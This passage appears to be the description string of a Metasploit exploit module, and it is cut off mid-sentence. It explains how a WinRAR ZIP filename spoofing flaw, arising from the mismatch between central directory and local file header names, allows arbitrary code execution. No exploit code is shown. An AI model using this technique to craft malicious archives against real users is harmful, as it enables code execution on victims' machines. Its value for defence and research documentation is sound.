  'Description'=> %q{
  This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
  when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
  the central directory, but the file names used to extract and open contents come from the
  Local File Header. This inconsistency allows to spoof file names when opening ZIP files
  with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
